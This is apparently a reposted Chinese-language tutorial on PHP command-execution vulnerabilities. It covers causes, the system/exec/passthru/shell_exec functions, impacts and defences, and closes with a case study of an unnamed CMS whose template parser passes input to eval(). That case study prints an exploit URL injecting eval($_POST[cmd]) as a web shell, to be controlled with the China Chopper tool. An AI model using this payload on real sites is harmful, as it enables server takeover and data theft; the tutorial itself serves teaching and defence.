0x01:命令执行漏洞简介
用户通过浏览器提交执行命令,由于服务器端没有针对执行函数做过滤,导致在没有指定绝对路径的情况下就执行命令,可能会允许攻击者通过改变 $PATH 或程序执行环境的其他方面来执行一个恶意构造的代码
0x02:命令执行 VS 代码执行
命令执行漏洞:
直接调用操作系统命令
代码执行漏洞:
靠执行脚本代码调用操作系统命令
命令执行原理:
在操作系统中,“&、|、||”都可以作为命令连接符使用,用户通过浏览器提交执行命令,由于服务器端没有针对执行函数做过滤,导致在没有指定绝对路径的情况下就执行命令
代码执行原理:
应用有时需要调用一些执行系统命令的函数,如PHP中的system、exec、shell_exec、passthru、popen、proc_popen等,当用户能控制这些函数中的参数时,就可以将恶意系统命令拼接到正常命令中,从而造成命令执行攻击,这就是命令执行漏洞。
0x03:漏洞利用条件
应用调用执行系统命令的函数
将用户输入作为系统命令的参数拼接到了命令行中
没有对用户输入进行过滤或过滤不严
0x04:漏洞分类
1.代码层过滤不严
商业应用的一些核心代码封装在二进制文件中,在web应用中通过system函来调用:
system("/bin/program --arg$arg");
2.系统的漏洞造成命令注入
bash破壳漏洞(CVE-2014-6271)
3.调用的第三方组件存在代码执行漏洞
如WordPress中用来处理图片的ImageMagick组件
JAVA中的命令执行漏洞(struts2/ElasticsearchGroovy等)
ThinkPHP命令执行
0x05:命令函数的利用
1. System:system函数可以用来执行一个外部的应用程序并将相应的执行结果输出,函数原型如下:
string system(string command, int&return_var)
其中,command是要执行的命令,return_var存放执行命令的执行后的状态值。
2. Exec:exec函数可以用来执行一个外部的应用程序
string exec (string command, array&output, int &return_var)
其中,command是要执行的命令,output是获得执行命令输出的每一行字符串,return_var存放执行命令后的状态值。
3.Passthru:passthru函数可以用来执行一个UNIX系统命令并显示原始的输出,当UNIX系统命令的输出是二进制的数据,并且需要直接返回值给浏览器时,需要使用passthru函数来替代system与exec函数。Passthru函数原型如下:
void passthru (string command, int&return_var)
其中,command是要执行的命令,return_var存放执行命令后的状态值。
4. Shell_exec:执行shell命令并返回输出的字符串,函数原型如下:
string shell_exec (string command)
其中,command是要执行的命令。
0x06:漏洞危害
继承Web服务程序的权限去执行系统命令或读 - 写文件
反弹shell
控制整个网站甚至控制服务器
进一步内网渗透
0x07:某cms实例
命令执行常用的函数,eval(),system(),proc_open()之类的,因此能执行php代码一般就是 eval() 函数
,
搜索一下这个页面有eval函数的地方
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
|
for ( $m =0; $m < $arlen ; $m ++){
$strIf = $iar [1][ $m ];
$strIf = $this ->parseStrIf( $strIf );
$strThen = $iar [2][ $m ];
$strThen = $this ->parseSubIf( $strThen );
if ( strpos ( $strThen , $labelRule2 )===false){
if ( strpos ( $strThen , $labelRule3 )>=0){
$elsearray = explode ( $labelRule3 , $strThen );
$strThen1 = $elsearray [0];
$strElse1 = $elsearray [1];
@ eval ( "if(" . $strIf . "){$ifFlag=true;}else{$ifFlag=false;}" );
if ( $ifFlag ){ $content = str_replace ( $iar [0][ $m ], $strThen1 , $content );} else { $content = str_replace ( $iar [0][ $m ], $strElse1 , $content );}
} else {
@ eval ( "if(" . $strIf . ") { $ifFlag=true;} else{$ifFlag=false;}" );
if ( $ifFlag ) $content = str_replace ( $iar [0][ $m ], $strThen , $content ); else $content = str_replace ( $iar [0][ $m ], "" , $content );}
|
可以在这里下个断点,把变量打印出来
就可以清晰的看到就是在这执行了我们的命令
http://192.168.0.37search.php?searchtype=5&tid=&area=eval($_POST[cmd])
![命令执行漏洞 命令执行漏洞]()
菜刀连接
0x08:命令执行漏洞防御
1.尽量不要使用系统执行命令
2.在进入执行命令函数方法之前,变量一定要做好过滤,对敏感字符进行转义
3.在使用动态函数之前,确保使用的函数是指定的函数之一
4.对PHP语言来说,不能完全控制的危险函数最好不要使用
本文始发于微信公众号(飓风网络安全):命令执行漏洞
评论